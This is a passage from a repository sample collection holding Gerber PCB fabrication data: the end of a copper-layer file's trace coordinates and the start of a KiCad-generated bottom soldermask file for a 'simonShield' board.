nX156337000Y-77724000D03*\nX148463000Y-101219000D03*\nX153543000Y-101219000D03*\nX148463000Y-108839000D03*\nX153543000Y-108839000D03*\nX137287000Y-101219000D03*\nX142367000Y-101219000D03*\nX137287000Y-108839000D03*\nX142367000Y-108839000D03*\nX172593000Y-108712000D03*\nX167513000Y-108712000D03*\nX172593000Y-101092000D03*\nX167513000Y-101092000D03*\nX161417000Y-108712000D03*\nX156337000Y-108712000D03*\nX161417000Y-101092000D03*\nX156337000Y-101092000D03*\nD26*\nX157178971Y-64124429D03*\nX150828971Y-64124429D03*\nD27*\nX137287000Y-80137000D03*\nX137287000Y-83439000D03*\nX148336000Y-79629000D03*\nX148463000Y-83185000D03*\nX172593000Y-80137000D03*\nX172593000Y-83312000D03*\nX161417000Y-80010000D03*\nX161417000Y-83439000D03*\nX137287000Y-103505000D03*\nX137287000Y-106680000D03*\nX172593000Y-103378000D03*\nX172593000Y-106934000D03*\nX148463000Y-103505000D03*\nX148463000Y-106934000D03*\nX161417000Y-103759000D03*\nX161417000Y-106934000D03*\nD28*\nX145400000Y-68800000D02*\nX145400000Y-70800000D01*\nX148800000Y-74200000D02*\nX153200000Y-74200000D01*\nX153200000Y-74200000D02*\nX154947800Y-75947800D01*\nX154947800Y-75947800D02*\nX154947800Y-77858800D01*\nX145400000Y-70800000D02*\nX148800000Y-74200000D01*\nX145400000Y-61508000D02*\nX145400000Y-58640000D01*\nD29*\nX135255000Y-61508000D02*\nX142600000Y-61508000D01*\nX142600000Y-61508000D02*\nX145400000Y-61508000D01*\nX145400000Y-61508000D02*\nX148212542Y-61508000D01*\nX148212542Y-61508000D02*\nX150828971Y-64124429D01*\nD30*\nX118110000Y-64008000D02*\nX116908002Y-64008000D01*\nD28*\nX131147000Y-57400000D02*\nX135255000Y-61508000D01*\nD29*\nX118100000Y-57400000D02*\nX131147000Y-57400000D01*\nD30*\nX116100002Y-59399998D02*\nX118100000Y-57400000D01*\nX116100002Y-63200000D02*\nX116100002Y-59399998D01*\nX116908002Y-64008000D02*\nX116100002Y-63200000D01*\nX167513000Y-101092000D02*\nX167513000Y-108712000D01*\nD31*\nX156337000Y-101092000D02*\nX156337000Y-104037000D01*\nX177103500Y-105300000D02*\nX177998300Y-104405200D01*\nX157600000Y-105300000D02*\nX177103500Y-105300000D01*\nX156337000Y-104037000D02*\nX157600000Y-105300000D01*\nD30*\nX142367000Y-85344000D02*\nX142367000Y-81661000D01*\nD32*\nX142367000Y-81661000D02*\nX142367000Y-81608700D01*\nD28*\nX154947800Y-85598000D02*\nX154947800Y-77858800D01*\nD33*\nX154947800Y-85418700D02*\nX154947800Y-85598000D01*\nX154947800Y-77858800D02*\nX154940000Y-77851000D01*\nX154940000Y-77851000D02*\nX154940000Y-77798700D01*\nD30*\nX167513000Y-85344000D02*\nX167513000Y-81534000D01*\nD32*\nX167513000Y-81534000D02*\nX167520800Y-81534000D01*\nD29*\nX154940000Y-108786700D02*\nX154940000Y-101219000D01*\nD33*\nX154940000Y-101219000D02*\nX154940000Y-101166700D01*\nD29*\nX142367000Y-108839000D02*\nX142367000Y-105029000D01*\nD32*\nX142367000Y-105029000D02*\nX142367000Y-104976700D01*\nD33*\nX153550800Y-108786700D02*\nX154940000Y-108786700D01*\nX154940000Y-108786700D02*\nX156344800Y-108786700D01*\nD30*\nX153550800Y-85418700D02*\nX154947800Y-85418700D01*\nX154947800Y-85418700D02*\nX156344800Y-85418700D01*\nD33*\nX153550800Y-101166700D02*\nX154940000Y-101166700D01*\nX154940000Y-101166700D02*\nX155074800Y-101166700D01*\nX155074800Y-101166700D02*\nX156344800Y-101166700D01*\nD31*\nX174632800Y-98118700D02*\nX173870800Y-97356700D01*\nX173870800Y-97356700D02*\nX173870800Y-96086700D01*\nX132468800Y-104976700D02*\nX142367000Y-104976700D01*\nD32*\nX142367000Y-104976700D02*\nX142374800Y-104976700D01*\nX136024800Y-96086700D02*\nX136024800Y-96856700D01*\nD29*\nX131960800Y-98880700D02*\nX131960800Y-104468700D01*\nD31*\nX132422800Y-98418700D02*\nX131960800Y-98880700D01*\nX134462800Y-98418700D02*\nX132422800Y-98418700D01*\nX136024800Y-96856700D02*\nX134462800Y-98418700D01*\nX131960800Y-104468700D02*\nX132468800Y-104976700D01*\nD29*\nX142374800Y-101166700D02*\nX142374800Y-104976700D01*\nD30*\nX153550800Y-104214700D02*\nX153550800Y-101166700D01*\nX152788800Y-104976700D02*\nX153550800Y-104214700D01*\nD31*\nX142374800Y-104976700D02*\nX152788800Y-104976700D01*\nD32*\nX177426800Y-104976700D02*\nX177998300Y-104405200D01*\nX177998300Y-104405200D02*\nX177934800Y-104468700D01*\nD30*\nX177934800Y-104468700D02*\nX177934800Y-98880700D01*\nX177934800Y-98880700D02*\nX177172800Y-98118700D01*\nD31*\nX177172800Y-98118700D02*\nX174632800Y-98118700D01*\nX173870800Y-73988700D02*\nX173870800Y-72718700D01*\nD30*\nX174632800Y-74750700D02*\nX173870800Y-73988700D01*\nD32*\nX131960800Y-81100700D02*\nX132024300Y-81164200D01*\nD33*\nX132024300Y-81164200D02*\nX132468800Y-81608700D01*\nX131960800Y-75512700D02*\nX131960800Y-81100700D01*\nD30*\nX177172800Y-74750700D02*\nX174632800Y-74750700D01*\nX177934800Y-75512700D02*\nX177172800Y-74750700D01*\nX177934800Y-81100700D02*\nX177934800Y-75512700D01*\nD31*\nX177426800Y-81608700D02*\nX177934800Y-81100700D01*\nD33*\nX132722800Y-74750700D02*\nX131960800Y-75512700D01*\nX135262800Y-74750700D02*\nX132722800Y-74750700D01*\nX136024800Y-73988700D02*\nX135262800Y-74750700D01*\nX136024800Y-72718700D02*\nX136024800Y-73988700D01*\nX132468800Y-81608700D02*\nX142367000Y-81608700D01*\nD32*\nX142367000Y-81608700D02*\nX142374800Y-81608700D01*\nX167520800Y-81608700D02*\nX167520800Y-81534000D01*\nD30*\nX167520800Y-81534000D02*\nX167520800Y-77798700D01*\nD31*\nX157106800Y-81608700D02*\nX167520800Y-81608700D01*\nX167520800Y-81608700D02*\nX177426800Y-81608700D01*\nD33*\nX153550800Y-77798700D02*\nX154940000Y-77798700D01*\nX154940000Y-77798700D02*\nX156344800Y-77798700D01*\nX142374800Y-81608700D02*\nX152788800Y-81608700D01*\nD30*\nX152788800Y-81608700D02*\nX153550800Y-80846700D01*\nX153550800Y-80846700D02*\nX153550800Y-77798700D01*\nX156344800Y-77798700D02*\nX156344800Y-80846700D01*\nX156344800Y-80846700D02*\nX157106800Y-81608700D01*\nX142374800Y-77798700D02*\nX142374800Y-81608700D01*\nD32*\nX133484800Y-72718700D02*\nX133738800Y-72464700D01*\nX133738800Y-72464700D02*\nX133484800Y-72718700D01*\nD29*\nX129420800Y-72718700D02*\nX133484800Y-72718700D01*\nD30*\nX180474800Y-72718700D02*\nX176410800Y-72718700D01*\nX180474800Y-96086700D02*\nX176410800Y-96086700D01*\nD32*\nX166410164Y-67016464D02*\nX166936536Y-67016464D01*\nD30*\nX169235300Y-64717700D02*\nX169235300Y-62558700D01*\nX166936536Y-67016464D02*\nX169235300Y-64717700D01*\nX165140164Y-68286464D02*\nX163616164Y-68286465D01*\nX159552164Y-64222465D02*\nX157266164Y-64222465D01*\nX163616164Y-68286465D02*\nX159552164Y-64222465D01*\nD32*\nX157266164Y-64222465D02*\nX157178971Y-64124429D01*\nX157262972Y-64194429D02*\nX157178971Y-64124429D01*\nD34*\nX128150800Y-75004700D02*\nX128150800Y-71448700D01*\nD33*\nX128658800Y-75512700D02*\nX128150800Y-75004700D01*\nX129420800Y-75512700D02*\nX128658800Y-75512700D01*\nX129928800Y-76020700D02*\nX129420800Y-75512700D01*\nX129928800Y-77544700D02*\nX129928800Y-76020700D01*\nD31*\nX127084050Y-75715950D02*\nX127084050Y-75584050D01*\nX126873000Y-75373000D02*\nX126873000Y-72644000D01*\nX127084050Y-75584050D02*\nX126873000Y-75373000D01*\nD34*\nX128150800Y-76782700D02*\nX127084050Y-75715950D01*\nX127084050Y-75715950D02*\nX126880800Y-75512700D01*\nX128150800Y-79576700D02*\nX128150800Y-76782700D01*\nD30*\nX126372800Y-81354700D02*\nX128150800Y-79576700D01*\nX126372800Y-85164700D02*\nX126372800Y-81354700D01*\nX181744800Y-73988700D02*\nX181744800Y-75004700D01*\nX179966800Y-76020700D02*\nX179966800Y-77290700D01*\nX180474800Y-75512700D02*\nX179966800Y-76020700D01*\nX181236800Y-75512700D02*\nX180474800Y-75512700D01*\nX181744800Y-75004700D02*\nX181236800Y-75512700D01*\nD32*\nX179966800Y-77290700D02*\nX180220800Y-77544700D01*\nD30*\nX183522800Y-85164700D02*\nX183522800Y-81354700D01*\nD34*\nX183014800Y-75512700D02*\nX183014800Y-72718700D01*\nX181744800Y-76782700D02*\nX183014800Y-75512700D01*\nX181744800Y-79576700D02*\nX181744800Y-76782700D01*\nD30*\nX183522800Y-81354700D02*\nX181744800Y-79576700D01*\nD32*\nX179966800Y-100658700D02*\nX180220800Y-100912700D01*\nD31*\nX179966800Y-99388700D02*\nX179966800Y-100658700D01*\nX180474800Y-98880700D02*\nX179966800Y-99388700D01*\nX181236800Y-98880700D02*\nX180474800Y-98880700D01*\nX181744800Y-98372700D02*\nX181236800Y-98880700D01*\nX181744800Y-97356700D02*\nX181744800Y-98372700D01*\nX183515000Y-108585000D02*\nX183515000Y-106115000D01*\nX183600000Y-96605000D02*\nX183007000Y-96012000D01*\nX183600000Y-98100000D02*\nX183600000Y-96605000D01*\nX181700000Y-100000000D02*\nX183600000Y-98100000D01*\nX181700000Y-104300000D02*\nX181700000Y-100000000D01*\nX183515000Y-106115000D02*\nX181700000Y-104300000D01*\nD30*\nX120650000Y-84328000D02*\nX122828000Y-84328000D01*\nD34*\nX127000000Y-88100000D02*\nX131483000Y-88100000D01*\nX131483000Y-88100000D02*\nX134239000Y-85344000D01*\nX125100000Y-88100000D02*\nX123200000Y-86200000D01*\nX123200000Y-86200000D02*\nX123200000Y-84700000D01*\nX123200000Y-84700000D02*\nX122900000Y-84400000D01*\nX127000000Y-88100000D02*\nX125100000Y-88100000D01*\nD30*\nX122828000Y-84328000D02*\nX122900000Y-84400000D01*\nD29*\nX137287000Y-85344000D02*\nX137287000Y-83439000D01*\nX137287000Y-80137000D02*\nX137287000Y-77724000D01*\nD32*\nX137040800Y-85164700D02*\nX137294800Y-85418700D01*\nD29*\nX134246800Y-85164700D02*\nX137040800Y-85164700D01*\nD30*\nX120650000Y-86868000D02*\nX121668000Y-86868000D01*\nD34*\nX123900000Y-89100000D02*\nX122800000Y-88000000D01*\nX141659000Y-89100000D02*\nX145415000Y-85344000D01*\nX141659000Y-89100000D02*\nX123900000Y-89100000D01*\nD30*\nX121668000Y-86868000D02*\nX122800000Y-88000000D01*\nX148463000Y-85344000D02*\nX148463000Y-83185000D01*\nX148463000Y-79502000D02*\nX148463000Y-77724000D01*\nD32*\nX148336000Y-79629000D02*\nX148463000Y-79502000D01*\nD30*\nX148470800Y-85418700D02*\nX145422800Y-85418700D01*\nX120650000Y-91948000D02*\nX123152000Y-91948000D01*\nD34*\nX141100000Y-91300000D02*\nX123800000Y-91300000D01*\nX123800000Y-91300000D02*\nX123300000Y-91800000D01*\nD30*\nX165237000Y-92700000D02*\nX172593000Y-85344000D01*\nX142500000Y-92700000D02*\nX165237000Y-92700000D01*\nD34*\nX142050000Y-92250000D02*\nX142500000Y-92700000D01*\nX142050000Y-92250000D02*\nX141100000Y-91300000D01*\nD30*\nX123152000Y-91948000D02*\nX123300000Y-91800000D01*\nX175641000Y-85217000D02*\nX172720000Y-85217000D01*\nX172720000Y-85217000D02*\nX172593000Y-85344000D01*\nX172593000Y-85344000D02*\nX172593000Y-83312000D01*\nX172593000Y-80137000D02*\nX172593000Y-77724000D01*\nD32*\nX172600800Y-85418700D02*\nX172854800Y-85164700D01*\nD30*\nX120650000Y-89408000D02*\nX122108000Y-89408000D01*\nX122108000Y-89408000D02*\nX122800000Y-90100000D01*\nD34*\nX142100000Y-90100000D02*\nX122800000Y-90100000D01*\nX142100000Y-90100000D02*\nX143000000Y-91000000D01*\nD30*\nX143000000Y-91000000D02*\nX158936000Y-91000000D01*\nX164465000Y-85471000D02*\nX158936000Y-91000000D01*\nD34*\nX122800000Y-90100000D02*\nX122900000Y-90200000D01*\nD30*\nX161417000Y-85344000D02*\nX161417000Y-83439000D01*\nX161417000Y-80010000D02*\nX161417000Y-77724000D01*\nX161424800Y-85418700D02*\nX165234800Y-85418700D01*\nX120650000Y-104648000D02*\nX122548000Y-104648000D01*\nD34*\nX123500000Y-105600000D02*\nX122750000Y-104850000D01*\nX123500000Y-110100000D02*\nX123500000Y-105600000D01*\nX124900000Y-111500000D02*\nX123500000Y-110100000D01*\nD31*\nX131100000Y-111500000D02*\nX124900000Y-111500000D01*\nX131100000Y-111500000D02*\nX134142000Y-108458000D01*\nD30*\nX122548000Y-104648000D02*\nX122750000Y-104850000D01*\nD34*\nX134239000Y-108458000D02*\nX134142000Y-108458000D01*\nD30*\nX137287000Y-108839000D02*\nX137287000Y-106680000D01*\nX137287000Y-103505000D02*\nX137287000Y-101219000D01*\nD32*\nX137040800Y-108532700D02*\nX137294800Y-108786700D01*\nD30*\nX134246800Y-108532700D02*\nX137040800Y-108532700D01*\nD32*\nX120653400Y-104651400D02*\nX120650000Y-104648000D01*\nD30*\nX116100000Y-105700000D02*\nX116100000Y-105400000D01*\nD31*\nX175641000Y-110559000D02*\nX171100000Y-115100000D01*\nX171100000Y-115100000D02*\nX119900000Y-115100000D01*\nX119900000Y-115100000D02*\nX116100000Y-111300000D01*\nX116100000Y-111300000D02*\nX116100000Y-105700000D01*\nX175641000Y-108585000D02*\nX175641000Y-110559000D01*\nD30*\nX116852000Y-104648000D02*\nX118110000Y-104648000D01*\nX116100000Y-105400000D02*\nX116852000Y-104648000D01*\nX172593000Y-108712000D02*\nX172593000Y-106934000D01*\nX172593000Y-103378000D02*\nX172593000Y-101092000D01*\nX175641000Y-108585000D02*\nX172720000Y-108585000D01*\nD32*\nX172720000Y-108585000D02*\nX172593000Y-108712000D01*\nD28*\nX164973000Y-65786000D02*\nX164973000Y-61515307D01*\nX164700000Y-61242307D02*\nX163108164Y-59650464D01*\nX163108164Y-59650464D02*\nX161584164Y-59650465D01*\nX164973000Y-61515307D02*\nX164700000Y-61242307D01*\nD30*\nX129420800Y-96086700D02*\nX133484800Y-96086700D01*\nD32*\nX133738800Y-95832700D02*\nX133484800Y-96086700D01*\nX133484800Y-96086700D02*\nX133738800Y-95832700D01*\nD31*\nX129928800Y-99388700D02*\nX129420800Y-98880700D01*\nX129420800Y-98880700D02*\nX128658800Y-98880700D01*\nX128658800Y-98880700D02*\nX128150800Y-98372700D01*\nX129928800Y-100912700D02*\nX129928800Y-99388700D01*\nD34*\nX128150800Y-98372700D02*\nX128150800Y-94816700D01*\nD28*\nX126372800Y-104722700D02*\nX128150800Y-102944700D01*\nD34*\nX128150800Y-102944700D02*\nX128150800Y-100150700D01*\nX128150800Y-100150700D02*\nX126880800Y-98880700D01*\nD28*\nX126372800Y-108532700D02*\nX126372800Y-104722700D01*\nD31*\nX126880800Y-98880700D02*\nX126880800Y-96086700D01*\nD34*\nX120650000Y-107188000D02*\nX122488000Y-107188000D01*\nD31*\nX141800000Y-112700000D02*\nX145415000Y-109085000D01*\nX141800000Y-112700000D02*\nX124100000Y-112700000D01*\nD34*\nX124100000Y-112700000D02*\nX122600000Y-111200000D01*\nX122600000Y-107300000D02*\nX122600000Y-111200000D01*\nX122488000Y-107188000D02*\nX122600000Y-107300000D01*\nD30*\nX145415000Y-108966000D02*\nX145415000Y-109085000D01*\nX148463000Y-108839000D02*\nX148463000Y-106934000D01*\nX148463000Y-103505000D02*\nX148463000Y-101219000D01*\nX148470800Y-108786700D02*\nX145422800Y-108786700D01*\nD32*\nX145422800Y-108786700D02*\nX144660800Y-108786700D01*\nD30*\nX120650000Y-109728000D02*\nX120650000Y-111350000D01*\nD31*\nX160300000Y-113900000D02*\nX123200000Y-113900000D01*\nX123200000Y-113900000D02*\nX120900000Y-111600000D01*\nX160300000Y-113900000D02*\nX164465000Y-109735000D01*\nD30*\nX120650000Y-111350000D02*\nX120900000Y-111600000D01*\nD34*\nX164465000Y-108839000D02*\nX164465000Y-109735000D01*\nD30*\nX161417000Y-108712000D02*\nX161417000Y-106934000D01*\nX161417000Y-103759000D02*\nX161417000Y-101092000D01*\nX164465000Y-108839000D02*\nX161544000Y-108839000D01*\nD32*\nX161544000Y-108839000D02*\nX161417000Y-108712000D01*\nD29*\nX118110000Y-61468000D02*\nX118110000Y-60190000D01*\nX124665100Y-59200000D02*\nX127007800Y-61542700D01*\nX119100000Y-59200000D02*\nX124665100Y-59200000D01*\nX118110000Y-60190000D02*\nX119100000Y-59200000D01*\nX120650000Y-61468000D02*\nX122968000Y-61468000D01*\nX124882700Y-64082700D02*\nX127007800Y-64082700D01*\nX124000000Y-63200000D02*\nX124882700Y-64082700D01*\nX124000000Y-62500000D02*\nX124000000Y-63200000D01*\nX122968000Y-61468000D02*\nX124000000Y-62500000D01*\nD30*\nX120650000Y-81788000D02*\nX122488000Y-81788000D01*\nX122488000Y-81788000D02*\nX122600000Y-81900000D01*\nD34*\nX127400000Y-87100000D02*\nX125500000Y-87100000D01*\nX122600000Y-81900000D02*\nX122500000Y-81900000D01*\nX124300000Y-83600000D02*\nX122600000Y-81900000D01*\nX124300000Y-85900000D02*\nX124300000Y-83600000D01*\nX125500000Y-87100000D02*\nX124300000Y-85900000D01*\nD31*\nX129921000Y-86579000D02*\nX129921000Y-85217000D01*\nX129400000Y-87100000D02*\nX129921000Y-86579000D01*\nD34*\nX127400000Y-87100000D02*\nX129400000Y-87100000D01*\nD30*\nX120650000Y-94488000D02*\nX123012000Y-94488000D01*\nD34*\nX140500000Y-93400000D02*\nX139400000Y-92300000D01*\nX139400000Y-92300000D02*\nX125200000Y-92300000D01*\nX125200000Y-92300000D02*\nX123200000Y-94300000D01*\nD30*\nX180086000Y-87214000D02*\nX180086000Y-85217000D01*\nD34*\nX142700000Y-94900000D02*\nX141200000Y-93400000D01*\nD30*\nX166500000Y-94900000D02*\nX142700000Y-94900000D01*\nX171100000Y-90300000D02*\nX166500000Y-94900000D01*\nX177000000Y-90300000D02*\nX171100000Y-90300000D01*\nX180086000Y-87214000D02*\nX177000000Y-90300000D01*\nD34*\nX141200000Y-93400000D02*\nX140500000Y-93400000D01*\nD30*\nX123012000Y-94488000D02*\nX123200000Y-94300000D01*\nD32*\nX179966800Y-85164700D02*\nX180220800Y-85164700D01*\nD30*\nX120650000Y-102108000D02*\nX123408000Y-102108000D01*\nD34*\nX124500000Y-103200000D02*\nX123250000Y-101950000D01*\nX124500000Y-109300000D02*\nX124500000Y-103200000D01*\nX125600000Y-110400000D02*\nX124500000Y-109300000D01*\nX127900000Y-110400000D02*\nX125600000Y-110400000D01*\nD31*\nX127900000Y-110400000D02*\nX129842000Y-108458000D01*\nD30*\nX123408000Y-102108000D02*\nX123250000Y-101950000D01*\nD34*\nX129921000Y-108458000D02*\nX129842000Y-108458000D01*\nD30*\nX115800000Y-102600000D02*\nX116300000Y-102100000D01*\nD31*\nX179959000Y-110841000D02*\nX174400000Y-116400000D01*\nX174400000Y-116400000D02*\nX118500000Y-116400000D01*\nX118500000Y-116400000D02*\nX114800000Y-112700000D01*\nX114800000Y-112700000D02*\nX114800000Y-103600000D01*\nX114800000Y-103600000D02*\nX115800000Y-102600000D01*\nX179959000Y-108585000D02*\nX179959000Y-110841000D01*\nD30*\nX116300000Y-102100000D02*\nX118102000Y-102100000D01*\nX118102000Y-102100000D02*\nX118110000Y-102108000D01*\nX118110000Y-71628000D02*\nX115400000Y-71628000D01*\nX114600000Y-64700000D02*\nX115400000Y-65500000D01*\nX115400000Y-65500000D02*\nX115400000Y-71800000D01*\nD28*\nX159811000Y-62611000D02*\nX161544000Y-62611000D01*\nX157600000Y-60400000D02*\nX159811000Y-62611000D01*\nX157600000Y-58667000D02*\nX157600000Y-60400000D01*\nX153733000Y-54800000D02*\nX157600000Y-58667000D01*\nX117400000Y-54800000D02*\nX153733000Y-54800000D01*\nD30*\nX114600000Y-57600000D02*\nX117400000Y-54800000D01*\nX114600000Y-57600000D02*\nX114600000Y-64700000D01*\nX115400000Y-71628000D02*\nX115400000Y-71800000D01*\nD29*\nX145415000Y-97300000D02*\nX151200000Y-97300000D01*\nX158600000Y-97200000D02*\nX169200000Y-97200000D01*\nX158200000Y-96800000D02*\nX158600000Y-97200000D01*\nD30*\nX151700000Y-96800000D02*\nX158200000Y-96800000D01*\nX151200000Y-97300000D02*\nX151700000Y-96800000D01*\nX170900000Y-98900000D02*\nX169200000Y-97200000D01*\nX173500000Y-98900000D02*\nX170900000Y-98900000D01*\nX175565000Y-100965000D02*\nX173500000Y-98900000D01*\nD29*\nX164465000Y-97965000D02*\nX164400000Y-97900000D01*\nX164465000Y-101219000D02*\nX164465000Y-97965000D01*\nX145415000Y-101346000D02*\nX145415000Y-97300000D01*\nX145415000Y-97300000D02*\nX145415000Y-97200000D01*\nD30*\nX175641000Y-100965000D02*\nX175565000Y-100965000D01*\nD29*\nX138400000Y-98900000D02*\nX138700000Y-98900000D01*\nD30*\nX136200000Y-98900000D02*\nX138400000Y-98900000D01*\nX134262000Y-100838000D02*\nX136200000Y-98900000D01*\nD29*\nX138700000Y-98900000D02*\nX140400000Y-97200000D01*\nX145500000Y-97500000D02*\nX145500000Y-97200000D01*\nX145500000Y-97285000D02*\nX145500000Y-97500000D01*\nX145415000Y-97200000D02*\nX145500000Y-97285000D01*\nX139400000Y-94700000D02*\nX139400000Y-96200000D01*\nX139400000Y-96200000D02*\nX140400000Y-97200000D01*\nX171700000Y-93200000D02*\nX183300000Y-93200000D01*\nX169200000Y-97200000D02*\nX171100000Y-95300000D01*\nX171100000Y-95300000D02*\nX171100000Y-93800000D01*\nX171100000Y-93800000D02*\nX171700000Y-93200000D01*\nX140400000Y-97200000D02*\nX145500000Y-97200000D01*\nD30*\nX183250000Y-93150000D02*\nX183300000Y-93200000D01*\nD28*\nX183300000Y-93200000D02*\nX185900000Y-95800000D01*\nX183515000Y-100965000D02*\nX185900000Y-98580000D01*\nX185900000Y-95800000D02*\nX185900000Y-98580000D01*\nX183700000Y-92900000D02*\nX186316800Y-90283200D01*\nD29*\nX186316800Y-90283200D02*\nX186316800Y-75004700D01*\nD28*\nX185618300Y-68273700D02*\nX180093800Y-68273700D01*\nD29*\nX186316800Y-68972200D02*\nX185935800Y-68591200D01*\nD33*\nX185935800Y-68591200D02*\nX185618300Y-68273700D01*\nD29*\nX186316800Y-75004700D02*\nX186316800Y-68972200D01*\nD31*\nX134239000Y-100838000D02*\nX134262000Y-100838000D01*\nX126365000Y-100838000D02*\nX126338000Y-100838000D01*\nX126338000Y-100838000D02*\nX125000000Y-99500000D01*\nX125000000Y-99500000D02*\nX125000000Y-95200000D01*\nX125000000Y-95200000D02*\nX126700000Y-93500000D01*\nX126700000Y-93500000D02*\nX138200000Y-93500000D01*\nX138200000Y-93500000D02*\nX139400000Y-94700000D01*\nD30*\nX139400000Y-94700000D02*\nX139200000Y-94500000D01*\nD28*\nX170500000Y-75500000D02*\nX170500000Y-68273700D01*\nD29*\nX170500000Y-68273700D02*\nX170010000Y-68273700D01*\nD28*\nX164465000Y-77851000D02*\nX164465000Y-76285000D01*\nX165250000Y-75500000D02*\nX170500000Y-75500000D01*\nD30*\nX170500000Y-75500000D02*\nX171250000Y-75500000D01*\nD28*\nX164465000Y-76285000D02*\nX165250000Y-75500000D01*\nD30*\nX173544000Y-75500000D02*\nX175641000Y-77597000D01*\nX171250000Y-75500000D02*\nX173544000Y-75500000D01*\nD28*\nX145415000Y-77724000D02*\nX145415000Y-75665000D01*\nX144000000Y-74250000D02*\nX140500000Y-74250000D01*\nX145415000Y-75665000D02*\nX144000000Y-74250000D01*\nD31*\nX134239000Y-77724000D02*\nX134239000Y-77511000D01*\nX134239000Y-77511000D02*\nX136500000Y-75250000D01*\nD29*\nX136500000Y-75250000D02*\nX139500000Y-75250000D01*\nX139500000Y-75250000D02*\nX140500000Y-74250000D01*\nD28*\nX140500000Y-74250000D02*\nX140500000Y-71250000D01*\nX140500000Y-71250000D02*\nX137750000Y-68500000D01*\nX137750000Y-68500000D02*\nX129250000Y-68500000D01*\nD30*\nX129250000Y-68500000D02*\nX129250000Y-68750000D01*\nD31*\nX126365000Y-77597000D02*\nX126347000Y-77597000D01*\nD29*\nX126347000Y-77597000D02*\nX123200000Y-74450000D01*\nX123200000Y-74450000D02*\nX123200000Y-73050000D01*\nD28*\nX123200000Y-73050000D02*\nX127500000Y-68750000D01*\nX127500000Y-68750000D02*\nX129250000Y-68750000D01*\nD30*\nX129250000Y-68750000D02*\nX129000000Y-68750000D01*\nX129000000Y-68750000D02*\nX129547800Y-68202200D01*\nD28*\nX129547800Y-68202200D02*\nX129547800Y-64082700D01*\nX129547800Y-61542700D02*\nX129547800Y-64082700D01*\nX131000000Y-64082700D02*\nX129547800Y-64082700D01*\nX159974000Y-67750000D02*\nX150322000Y-67750000D01*\nX150322000Y-67750000D02*\nX146642000Y-64070000D01*\nX146642000Y-64070000D02*\nX142070000Y-64070000D01*\nD33*\nX142070000Y-64070000D02*\nX142070000Y-64082700D01*\nD28*\nX170010000Y-68273700D02*\nX168726300Y-68273700D01*\nX163224000Y-71000000D02*\nX159974000Y-67750000D01*\nX166000000Y-71000000D02*\nX163224000Y-71000000D01*\nX168726300Y-68273700D02*\nX166000000Y-71000000D01*\nD33*\nX171457800Y-68273700D02*\nX170010000Y-68273700D01*\nD28*\nX180093800Y-68273700D02*\nX171457800Y-68273700D01*\nD33*\nX170010000Y-68273700D02*\nX169806800Y-68273700D01*\nX142438300Y-64082700D02*\nX142070000Y-64082700D01*\nD28*\nX142070000Y-64082700D02*\nX131000000Y-64082700D01*\nD33*\nX131000000Y-64082700D02*\nX130817800Y-64082700D01*\nX132722800Y-64082700D02*\nX130817800Y-64082700D01*\nD28*\nX171521300Y-59637700D02*\nX171521300Y-59650464D01*\nD29*\nX169204164Y-59650464D02*\nX171521300Y-59650464D01*\nD33*\nX171521300Y-59650464D02*\nX171534064Y-59650464D01*\nD28*\nX171534064Y-59650464D02*\nX180093800Y-68210200D01*\nD33*\nX180093800Y-68210200D02*\nX180093800Y-68273700D01*\nD32*\nX145422800Y-101166700D02*\nX145422800Y-100658700D01*\nM02*\n"
  },
  {
    "path": "samples/Gerber Image/simonShield-B.Mask.gbr",
    "content": "G04 #@! TF.FileFunction,Soldermask,Bot*\n%FSLAX46Y46*%\nG04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*\nG04 Created by KiCad (PCBNEW 4.0.6-e0-6349~53~ubuntu16.04.1) date Sat Jul  1 03:26:18 2017*\n%MOMM*%\n%LPD*%\nG01*\nG04 APERTURE LIST*\n%ADD10C,0.100000*%\n%ADD11C,0.150000*%\n%ADD12C,2.000000*%\n%ADD13O,2.000000X2.000000*%\n%ADD14R,2.400000X1.924000*%\n%ADD15O,2.400000X1.924000*%\n%ADD16R,1.700000X1.700000*%\n%ADD17C,1.700000*%\n%ADD18C,2.398980*%\n%ADD19R,2.300000X2.400000*%\n%ADD20C,2.300000*%\n%ADD21R,2.127200X2.127200*%\n%ADD22O,2.127200X2.127200*%\n%ADD23C,1.400760*%\n%ADD24C,1.797000*%\n%ADD25C,2.000200*%\nG04 APERTURE END LIST*\nD10*\nD11*\nX196250000Y-118000000D02*\nX113000000Y-118000000D01*\nX196250000Y-52750000D02*\nX196250000Y-118000000D01*\nX113000000Y-52750000D02*\nX196250000Y-52750000D01*\nX113000000Y-118000000D02*\nX113000000Y-52750000D01*\nD12*\nX145400000Y-68800000D03*\nD13*\nX145400000Y-58640000D03*\nD14*\nX189230000Y-61468000D03*\nD15*\nX191770000Y-61468000D03*\nX189230000Y-74168000D03*\nX189230000Y-109728000D03*\nX191770000Y-109728000D03*\nX191770000Y-97028000D03*\nD14*\nX118110000Y-61468000D03*\nD15*\nX120650000Y-61468000D03*\nX118110000Y-64008000D03*\nX120650000Y-64008000D03*\nX118110000Y-66548000D03*\nX120650000Y-66548000D03*\nX118110000Y-69088000D03*\nX120650000Y-69088000D03*\nX118110000Y-71628000D03*\nX120650000Y-71628000D03*\nX118110000Y-74168000D03*\nX120650000Y-74168000D03*\nX118110000Y-76708000D03*\nX120650000Y-76708000D03*\nX118110000Y-79248000D03*\nX120650000Y-79248000D03*\nX118110000Y-81788000D03*\nX120650000Y-81788000D03*\nX118110000Y-84328000D03*\nX120650000Y-84328000D03*\nX118110000Y-86868000D03*\nX120650000Y-86868000D03*\nX118110000Y-89408000D03*\nX120650000Y-89408000D03*\nX118110000Y-91948000D03*\nX120650000Y-91948000D03*\nX118110000Y-94488000D03*\nX120650000Y-94488000D03*\nX118110000Y-97028000D03*\nX120650000Y-97028000D03*\nX118110000Y-99568000D03*\nX120650000Y-99568000D03*\nX118110000Y-102108000D03*\nX120650000Y-102108000D03*\nX118110000Y-104648000D03*\nX120650000Y-104648000D03*\nX118110000Y-107188000D03*\nX120650000Y-107188000D03*\nX118110000Y-109728000D03*\nX120650000Y-109728000D03*\nD16*\nX135255000Y-64008000D03*\nD17*\nX135255000Y-61508000D03*\nD18*\nX164465000Y-85471000D03*\nX164465000Y-77851000D03*\nD19*\nX136017000Y-72644000D03*\nD20*\nX133477000Y-72644000D03*\nD19*\nX173863000Y-72644000D03*\nD20*\nX176403000Y-72644000D03*\nD19*\nX136017000Y-96139000D03*\nD20*\nX133477000Y-96139000D03*\nD19*\nX173863000Y-96012000D03*\nD20*\nX176403000Y-96012000D03*\nD21*\nX127007800Y-61542700D03*\nD22*\nX